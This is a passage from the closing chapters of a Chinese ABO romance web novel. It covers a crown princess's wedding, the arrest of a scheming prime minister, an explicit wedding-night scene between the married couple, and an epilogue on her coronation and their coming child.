他忽然看见,那只曾在冰天雪地里徘徊不去的小海雀,被熟悉而又温暖的身影拥入掌心,与她相视一笑。 宛如心脏被人托住,他感觉自己终于落入了一个温暖、稳固的怀抱中。 那曾经遥不可及、模糊难辨的未来,像冬夜过后第一缕晨曦,穿过风霜,照进雪夜,使他的心悄然苏醒,重新变得热切起来。 他后知后觉,自己的脸颊正烫得厉害,低头试图躲避近在咫尺的视线,却忍不住抬手去探脸上的温度。 江意衡轻按住他的手,笑着提醒他:“你应该不想当着他们的面,把妆蹭花吧?” 他轻轻摇头,热意写满脸上,无处可藏。 太多惊喜的情绪迫不及待地涌出眼眶,划过脸颊,滑落在她掌心。 她替他拭去眼角的泪,半开玩笑地压低声音:“现在哭还早呢。你这些眼泪,等到后半夜再流。” 一句调笑,就把她的Omega吓得愣在原地。 他甚至连吸鼻子都不敢吸,惊慌的视线在她的双目之间来回游移。 江意衡伸手抚了抚他脸侧柔软的颊脂,指尖的触碰,比言语更能令他心安。 随后,这位帝国王储终于回过视线,扫视全场。 方才带头质疑新郎身份的几人,似乎都被她目光中骤然袭来的冷意震慑,不由自主敛了声。 “怎么突然不说话了?刚才不是还在积极行使你们在婚礼上自由发声的权利吗?” 她不紧不慢,笑意从容,那只对认定之人才会收敛的锋芒,此刻却犹如蓄势待发的箭矢。 “贺部长。” “萧部长。” “南部长。” 江意衡逐一点过在场数人,每提及一人,目光便如刀锋般划过对方脸上。 最后,她的视线落回言敬玄身上。 “你们今天,该不会是和言总理同路而来的吧?” 被点到的三人连忙否认,不是摇头,就是摆手。 “那就好。” 江意衡轻触耳垂,低声言语。 数名近卫队成员当即从角落现身,将言敬玄围在中央。 陆怀峰亮出帝国鹰徽,声音冷硬而清晰:“言总理,您因涉嫌挪用军费笼络帝国内阁成员,非法干预王储婚约程序,危害王室成员人身安全,并蓄意隐藏关键证人,已严重违反帝国宪法第九条。” “这不过是你的一面之词。” 言敬玄面无惧色,“言某不会接受这种虚无的指控。” “您当然可以不接受,这是您的自由。” 陆怀峰神色不动,“可是您的那些亲信已经接受审讯。他们的证词,恐怕与您想的不太一样。” 那一瞬间,江意衡在言总理的脸上,看到了一种“被背刺”的情绪。 陆怀峰上前亮出手铐:“现对您即刻收押,候审问责。” 在被近卫队押送婚礼现场前,言敬玄仍试图向江意衡投去最后的不甘。 江意衡只是举高香槟酒杯,神色平和,权当致敬这位对手的败局。 她并未饮下,随手将酒杯放在一旁,转身看向自己的新郎。 在众人的注视中,她缓缓捧起他的面容,将一个吻烙在他温软的唇瓣上。 * 王室成员的婚礼向来程序繁琐冗长。 但江意衡并没有强行带着她的新郎熬过全程,而是中途便以照顾新郎身体为由,将人提前送回王宫,来到她早已布置妥帖的婚房。 初为人夫的少年,手中牢牢攥着那捧蓝色永生玫瑰,坐在足以并排躺下四个他的大床边,一张面容忐忑不安地藏在垂落的头纱之后。 他眼看着江意衡褪下修身的婚礼西装,换上一身宽松舒适的睡衣,怀里抱着一条洁白的睡裙,轻放在他身边。 他一动不动坐在床沿,隔着细密的头纱,表情朦胧,因局促而低头的动作却暴露无遗。 江意衡这么看了他一会,抱着手臂坐在他身旁,还故意用手肘顶了顶他:“你就打算穿着婚服,在婚礼当晚坐一整晚?” “我,我挺喜欢这套衣服的。” 他的声音不自觉地打着抖,“我想多穿一会,不行吗。” “行啊,怎么不行。” 江意衡轻笑着将下巴枕在他单薄的肩头,一只手绕过他身前,搭在他的另一侧肩上,“我本来是想体谅你辛苦,才催你早点更衣休息。你如果一定要这样,那我就只好亲手帮你脱了。” 她就着他的肩窝蹭了蹭脸颊,手指从他礼服的第一个暗扣掠过,接着是第二个,第三个…… 礼服的料子柔滑亲肤,可贴在肌肤的地方却烫得惊人。 嘴上说着担心的话,其实心里比任何时候都渴望。 他就是这样一个人。 江意衡没有继续挪动手掌,指尖却有意无意地隔着衣料,刮挠他敏感的胸口。 “别。” 他猛地一个激灵,“弄湿了,不好洗吧?” “又不用你自己洗。” 她在他耳边轻叹,听着他的呼吸愈发不稳,偏偏就不进行下一步,“你要是不愿意脱,那就这么穿着。等会前面湿了,下面也湿了,再送去洗,那一定会成为王室后勤口中的谈资。” 她的吓唬很有效。 少年一把掀开头纱,忙不迭地动手解着礼服暗扣。 一边解,他还一边咕哝着抱怨:“我脱还不行吗?这种事情,也不用传得整个王宫都知道吧。” 江意衡支起身形,两手撑在身后,斜过视线,饶有兴致地打量他羞怯又努力的模样。 他面红耳赤,却又竭力掩饰,无论怎么看,都很生动。 等他把礼服褪到腰间,准备彻底从中解脱时,她却装作不经意地提了一句:“我刚才都忘了,明早侍从也会来铺床。要是他们看到在我们在这里留下的痕迹,那不也一样。” “江意衡。” 少年闷声唤她,语气隐约有些愤懑,“捉弄我,就那么有意思吗?” “那还有一个办法。” 她眨了眨眼,一把将他揽回怀里,手臂环住他的肩膀,抱着他轻轻晃了晃,“明天早上别起来不就好了。” “我不睡了。” 他好像下定决心,明明都已经捧起睡裙迎头套上,却抿起唇角坚定地偏向一旁,“你自己睡吧。” 话音刚落,他们同时听到,婚房门外响起一道急促的敲门声。 方才还理直气壮说“我不睡了”的人,一下子就怂了。 他像鸵鸟一样把脸埋进她的肩窝,像害怕的小兽那样整个贴着她。 江意衡上一秒还在逗他,此刻却不得不拍着背安慰他。 她哭笑不得,没好气地扬声朝门口道了句:“不是说今晚不准打扰吗?这里没你们的事。” “姐姐,是我。” 那个稚气未脱的声音一响起,婚房里的气氛一下子变得古怪起来。 王室后勤名下的这些侍从,毕竟见多了各种场面。 就算需要他们进房间收拾残局,江意衡最多也只会当成公事公办。 可是江昱澜不同。 她这个才九岁的弟弟,是完全不能同日而语的另一种存在。 像这样的小孩子,根本就不适合出现在一对成年人的私密空间。 她微微不悦地扯过被子,裹在少年身上,直到他被她裹成一个粽子。 这才起身走到门前,朝着门外的弟弟问了声:“这么晚,你不在婚礼上吃你的点心,跑回来找我做什么?” “姐姐,这不是我的主意。” 他似乎是在拉拽什么人,因为江意衡听到,旁边有皮鞋划过地面的摩擦声。 “陆哥哥,不是你说结婚当晚应该闹洞房,替姐姐庆祝一下吗?你怎么不说话了,我不知道要怎么跟姐姐解释啊!” 隔着门板,江意衡面色一沉。 她抱起手臂,重新端起她那副王储的架子。 “陆队长,你今日本来有功,我还打算择日依照帝国条律为你封赏。你现在,又是什么意思?” 门外,近卫队长在片刻沉默后,清咳一声。 “殿下,属下知道中心区不流行这些。但属下听说,在新郎的故乡,新人结婚时会有闹洞房的习惯。缔结良缘的新人,需要借助身边亲朋好友的人气驱邪,避免被暗中的鬼神侵扰。” “鬼神?” 江意衡蹦出一声冷笑,“我怎么觉得,今晚的鬼神明明是你和昱澜。一大一小,没头没脑。” 最后那四个字,她几乎是咬着牙念出来的。 陆怀峰识趣地噤了声,而江昱澜还无知无畏地追问:“陆哥哥,你怎么不说话了?我说不过姐姐呀。” “你说不过,没关系。让那个给陆队长出主意的家伙自己来说。” 江意衡径直拉开一条门缝,目光掠过江昱澜,定在陆怀峰的墨镜上。 她抬手,指着陆怀峰的耳朵:“罪人应该还没挂断吧?” 陆怀峰默默在终端上点了一下,原本内置于耳中的通讯语音,一瞬间通过扬声器公放。 “……我跟你说啊陆队长,等你们进到殿下和小简的婚房,就照着清单上的项目,让他们玩这个真心话大冒险!输了的人要当众亲对方,而且,不可以亲重复的地方!” 叶昭年的声音兴致盎然,完全不知道自己已经身处险境,“陆队长,你听到了吗?你怎么突然不说话了?” “他听着呢。” 江意衡冷不防加入这场多方通话,“叶老板,你是不是在D区太无聊,想来中心区的监狱体验一下生活?” “殿下?啊不,不是的,我那是给陆队长科普民间风俗。这是误会,哈哈,真的都是误会……” 不待江意衡再说些什么,那边的人已经慌张地挂断了通讯。 “清单?” 江意衡撇过唇角,伸手从陆怀峰手中抽出一张仔细叠好的纸。 展开一看,上面密密麻麻列举了各路亲密挑战。 江昱澜不合时宜地举起小手:“姐姐,我能进去看看吗?” “不可以。” 她一字一顿对他声言,挥挥手,把门合上,“陆队长,你明天继续休假吧。” “殿下……” 没给陆怀峰再辩解的机会,江意衡已经干脆利落地关紧了门。 她回到床边,看着那个被她裹成粽子的少年,这才有了点心情,随口念出纸上几个挑战选项。 “当众亲吻伴侣半分钟。” “描绘最隐秘的一个梦。” “第一次动心是在什么时候?” 她越是读,眉头就皱得越紧。 “这些都太小儿科了。” 她揉起纸团,扔到一边,目光回到少年脸上,对他微微一笑。 “我们来玩个特别一点的。” 江意衡轻轻拨开他额前的碎发,语气温和,却藏着一点不怀好意,“我们来抽一个数字,从‘一’开始,回忆对应的那次亲密接触。如果对不上,想不起细节,就算输。” 指尖顺着他的发丝滑落,最后停在他滚烫的耳后。 江意衡的声音仿佛能钻进他心底:“输了的人,就要配合对方完成一次‘惩罚’。你觉得,怎么样?” 第62章【正文完结】 62章 我就这么过分…… 简星沉本能地对这个游戏感到畏惧。 毕竟他早已领略过江意衡的手段,如果他在洞房之夜违逆她,她一定会身体力行地让他记住,“惩罚”这两个字到底怎么写。 把他折腾得死去活来,都算她手下留情。 婚房这样大,他是真怕她折腾起来会弄得满室狼藉,叫第二天来打扫现场的侍从们传遍王宫上下。 哎,这位帝国王储殿下,可真是难伺候得很呢。 “你不反对,那我就当你是默许了。” 江意衡笑着捏了捏他的鼻尖,看起来心情很不错。 她翻出一沓便签,利落解开裹在他身上的被子,把一支铅笔塞到他手里,让他从一写到十。 看着他一笔一划认真书写的样子,她还兴致勃勃地在旁点评:“你得知道,我让你写到十,是因为房里的便签只剩下这么多。” 言下之意,如果手头的便签够多,她绝对会让他写到二十。 甚至三十。 简星沉的手一顿,他忽然有些不确定,自己是不是该继续。 没等他多想什么,她的手指已经调皮地拨过他耳边的柔软鬓发,令他心里的小草不由一颤。 “不过这样也好,省得你写到手酸。” 江意衡满意地叠起便签,像洗牌那样来来回回调换数次,然后背面朝上摞放在手心。 “来,抽签吧。” 少年撇着嘴。 他分明就不情愿,却还是伸手抽了一张。 “数字二,这个应该很容易。” 江意衡点点头,顺势把下巴枕在他的肩头,手指在他的另一边肩头上挠了挠,“才过去四个多月,应该没那么容易忘记吧?” ……才过去四个多月? 这是人说的话吗? 简星沉盯着手里的数字二发呆了整整半分钟。 那应该是在F区的出租屋里,她终身标记他之后。 他们一起挤在同一个泡澡桶里,被热气熏蒸得眉眼湿润。 他抿着唇,小声咕哝:“是,一起泡澡那次。” “一起泡澡?” 江意衡笑着重复他的话,手指却不太安分地游移,在他的颈侧来回滑过,好像猎手寻索猎物的要害,“这算什么亲密接触,不过就是两个人挤在一个桶里。你得说得再具体一点。” 气息拂过他敏感的耳廓,他忍不住想把自己往被子里缩。 江意衡当然不会允许他再缩回去。 她按住他的肩膀,取过他手里的便签,抬高对光看了看:“你要是不说下去,我现在可就惩罚你了。” 简星沉几乎是被逼急了,一鼓作气:“不就是,挤在一个桶里,你抱着我的脸,啃我嘴巴的事情……” 单是说出这句话,他的脸就已经红得烧起。 “怎么啃的?”江意衡歪过头看着他,眼神示意他继续。 “先,先咬中间……然后,啃下唇……” “就这样?” 少年像小鸟啄米似的点着头。 “你这也太敷衍了。” 江意衡露出危险笑意,“这么敷衍,是想提前被我惩罚?” 他皱着鼻子,唇瓣轻轻摩挲,脸皮甚至忍不住抽了一下,才梗着脖子,僵硬地吐出几个字:“你还把舌头送进来了……这样,这样行了吧!” “我确实应该夸你。” 江意衡近乎爱抚地揉着他的头发,眼看着他脸上红晕一寸寸蔓延开来,脖颈绷紧,这才故意重新靠近他的耳边,“可惜,你说错了。” 简星沉一瞬间瞪大眼睛。 他惊恐地眨了又眨:“我哪里说错了?你难道不是先咬,后啃,再把舌头送进来吗?” “我没说不是。” 江意衡撇开视线,望向窗边系上的香槟色绸带,目光微眯,“可你的第二次,为什么和我记得的不一样呢?” “啊?” 简星沉一下就懵了,“第一次不是终身标记,第二次不是一起泡澡吗?” “终身标记那一晚,我体谅你很辛苦。但再辛苦,也不该只记成一次。” 江意衡伸手覆上他微隆的小腹,手掌极其缓慢地画着圈,“你再想想。” 简星沉拼命摇头。 不是不愿想,是不敢想。 终身标记那晚,他初尝人事,巨大的冲击由内而外将他裹挟,也近乎刻骨地烙在他的记忆里。 他以为,被她翻来覆去地研磨过一晚,只应该算作一次漫长、充盈到近乎满溢的煎熬。 “就算我中间……满过一次,可你那一整晚都没……离开过,这怎么还能算两次?” 他近乎委屈地往旁边挪了挪,“你再这样,我以后不给你说睡前故事了。” “那就勉强算一次。” 江意衡近乎安慰般捏了捏他肩膀上的薄肉,无奈地叹了口气,“你再抽一张。” 少年警惕地打量着她,手却已经听话地放下那张便签,重新抽了一张。 上面赫然是个数字六。 第六次? 如果前两次,他还能记得清楚。 到了第六次……就实在有点费脑袋了。 他挠着头发,一会鼓起左腮,一会伸指戳着右脸。 时而望向天花板,时而俯眼打量脚尖。 直到他忽然眼前一亮。 “我知道了,第六次,是在小木屋楼上的房间里,你抱着我走动那次!” 少年双手合十,望向她的表情带着一丝忐忑。 一双眸子闪着光,仿佛生怕自己答错了。 “是吗?” 江意衡故意偏过头,重重叹气,“那你帮我理一理,为什么第六次是你说的这个。” 简星沉摩拳擦掌,难得露出些底气。 “终身标记算一次,一起泡澡算一次。 “我们坐在床上看毛衣也算一次。 “你来易感期,在上锁的房间里又是一次。 “从那出来,在浴室里有一次。回到楼上的卧室,另有一次。” 他红着脸一口气数完,认真地跟她确认:“那第六次,不就是你抱着我走来走去的那次吗?” “这你都能记得过来?” 江意衡忽然转过头,伸指掂起他的下巴,在他茫然的视线中左看右看,“你是不是每晚睡前都会复盘一遍,还是说,睡着了也会梦见?” “我没有!” “没有怎么还能记得这么清楚?” “不是你让我回忆第六次的吗?” 简星沉随手抄起一个枕头,挡在他跟江意衡之间,“你不许耍赖。” “我不耍赖。但你也不应该跳过那么重要的一次。” 江意衡话一出口,少年的脸色倏地白了。 他只是看着她眼里隐隐跃动的光芒,就已经提前读出了自己中计的信号。 “你在我易感期喂我那次,难道不算是亲密接触?” “……那也算?” “你说呢?” 江意衡望着天花板,一副感慨模样,手却已经钻到它该去的地方,轻轻捻了捻,“如果不算,那你现在的反应,又怎么解释?” 简星沉根本腾不出手去抓她,两只手都被他用来捂住自己的嘴巴。 江意衡的指法太过熟练。 他刚才,差一点就要没骨气地低吟出声。 “这一轮,你输了。” 江意衡斜眸看他,“那你是不是应该接受惩罚了?” * 简星沉发誓,这一定是帝国王储人生以来,最无耻的一晚。 江意衡对他所说的惩罚,是让她按照她想要的方式,折腾他一次。 她还设置了计时器,时长定在一小时。 单是这样,简星沉也就认了。 毕竟江意衡之前每次折腾他都不止一小时。 他要是连这一点都接受不了,根本就不会乖乖牵着她的手,陪她回到婚房。 可江意衡并不打算轻易饶过他。 她追加了条件,如果他在惩罚的头十分钟发出一点声音,那么她就会再延长十分钟。 且延时的部分没有上限。 简星沉本想着,延时就延时吧。 他的Alpha再能折腾他,那也不可能一直留着那股热度。 火一旦燃起,总要将热量释放向某处。 身为Alpha的冲动也不例外。 可他不该低估江意衡与日俱增的耐久力。 她似乎是想借着洞房之夜,刷新她自己的极限。 眼下,她拥着他侧躺在云朵般柔软的丝绸床品上。 虽然小心避开他微隆的小腹,但她从头到脚都没放过他。 齿关咬住他的后颈。 手指扣在他的胸口。 属于Alpha的长刀稳稳嵌入Omega的刀鞘里。 甚至还不忘弯起一条腿,膝盖在他最脆弱的地方挑拨。 如果不是被她用绸带束住手和脆弱之处…… 他想他自己的裙摆,恐怕早就会浸湿得不成样子。 等到热量找到属于它们的归处,江意衡终于发出一声满足的喟叹。 简星沉扭头看到,计时器刚过一小时四十分钟。 “我现在,能睡了吗?”他的声音早就哑了。 江意衡含着他的耳垂:“可我的惩罚还没完成呢。” 简星沉措手不及:“不是已经,有一次了吗?” “但我还没离开。” 江意衡一本正经地提醒他,“不是你说,只要没离开,就只算一次吗?” 她毫无怜惜地在他胸口狠狠一攥。 下一秒,他的泪水和汁水一起淌了出来。 “你不要太过分了!” “我就这么过分。” 她笑着把他的脸扭向自己,在他红润发肿的唇瓣上亲了亲,“你要是不高兴,现在还可以求我。省得等会,你连求饶的力气都没了。” * 王储大婚的第二个月,前国王江御川于帝国医院与世长辞。 葬礼次日,有人曾在国王墓前,见到一束来源不明的茉莉花。 献花之人身份成谜,无迹可寻。 同月,王储江意衡携配偶简氏登上王位,正式继任为帝国新君。 在王室官方公布的结婚合照中,新王轻轻怀抱王夫,将吻落于他的额前。 而王夫垂眸含笑,一只手温柔覆在隆起的小腹。 而他身上那件恍若星河璀璨的礼服,则在帝国上下掀起巨大轰动,设计者的门槛几乎都被热情民众踏碎。 据说,这位王夫出身F区的贫民窟,偶然救下飞船失事的王储,因此结缘。 两人历经重重考验,最终走到一起。 这段跨越身份鸿沟的恋情在帝国民间广为流传,而新王在王夫影响下进一步推动公益事业,民众支持率攀升至帝国史无前例的高度。 有传闻称,因被这段恋情感动,新王原定的政治联姻对象主动退出政坛,从此消失在帝国的视线中。 而在某座海外国度,一位初露锋芒的芭蕾舞者悄然登台。 报道声称他奉行不婚主义,立志将全部心力投入舞台。 * 王夫生日当天,江意衡在近卫队护送下,载着他重新回到那座位于F区的小屋。 她将一把旧钥匙落入他的掌心:“我把它作为一个小小的礼物,送给你。” 这间腾空已久的小屋,如今却焕然一新。 家具布满狭小空间,每一件,都与简星沉印象中相差无几。 “可我明明都把它们卖掉了。” 他搓着自己的手指,有些困惑,“你总不会是从别人家里,把它们买回来的吧?” “如果我想,是可以。但不需要。” 江意衡扶着他在床沿坐下,“这些,是我请人比照记忆,一件一件做出来的。” 她顺手打开顶上那盏昏黄的灯泡,将他揽入怀中。 “小星星的大名,我已经想好了。” “什么时候?” “婚礼当晚。但我想给你一个惊喜。” 江意衡握着他的手,覆在他无法再被衣物掩住轮廓的腹部上,“不如就叫她,江怜星。你觉得呢?” “江怜星。” 简星沉轻声重复着这个名字,他觉得这个名字很柔软,又很坚定,带着一种奇异的力量。 他不自觉地又想哭:“你是不是早知道我会掉眼泪,才拖到现在告诉我。” “知不知道她的名字,你反正都会哭。” 江意衡吻去他眼角的泪,声音像枕边私语,“认识我到现在,你什么时候少哭了?” 她的Omega没有说话,只是轻轻“嗯”了一声。 从前,他是因为不敢表达爱意而哭。 而现在,他再也不需要隐藏了。 简星沉伸手圈住她的脖子,郑重道:“我给你种的花要开了。今天回去,陪我一起看,好不好?” “好啊。” 江意衡将额头贴着他的额头,笑声从胸腔溢出,透过相触的肌肤传到他的身上。 “以后每天,我都陪你看。” 【正文完】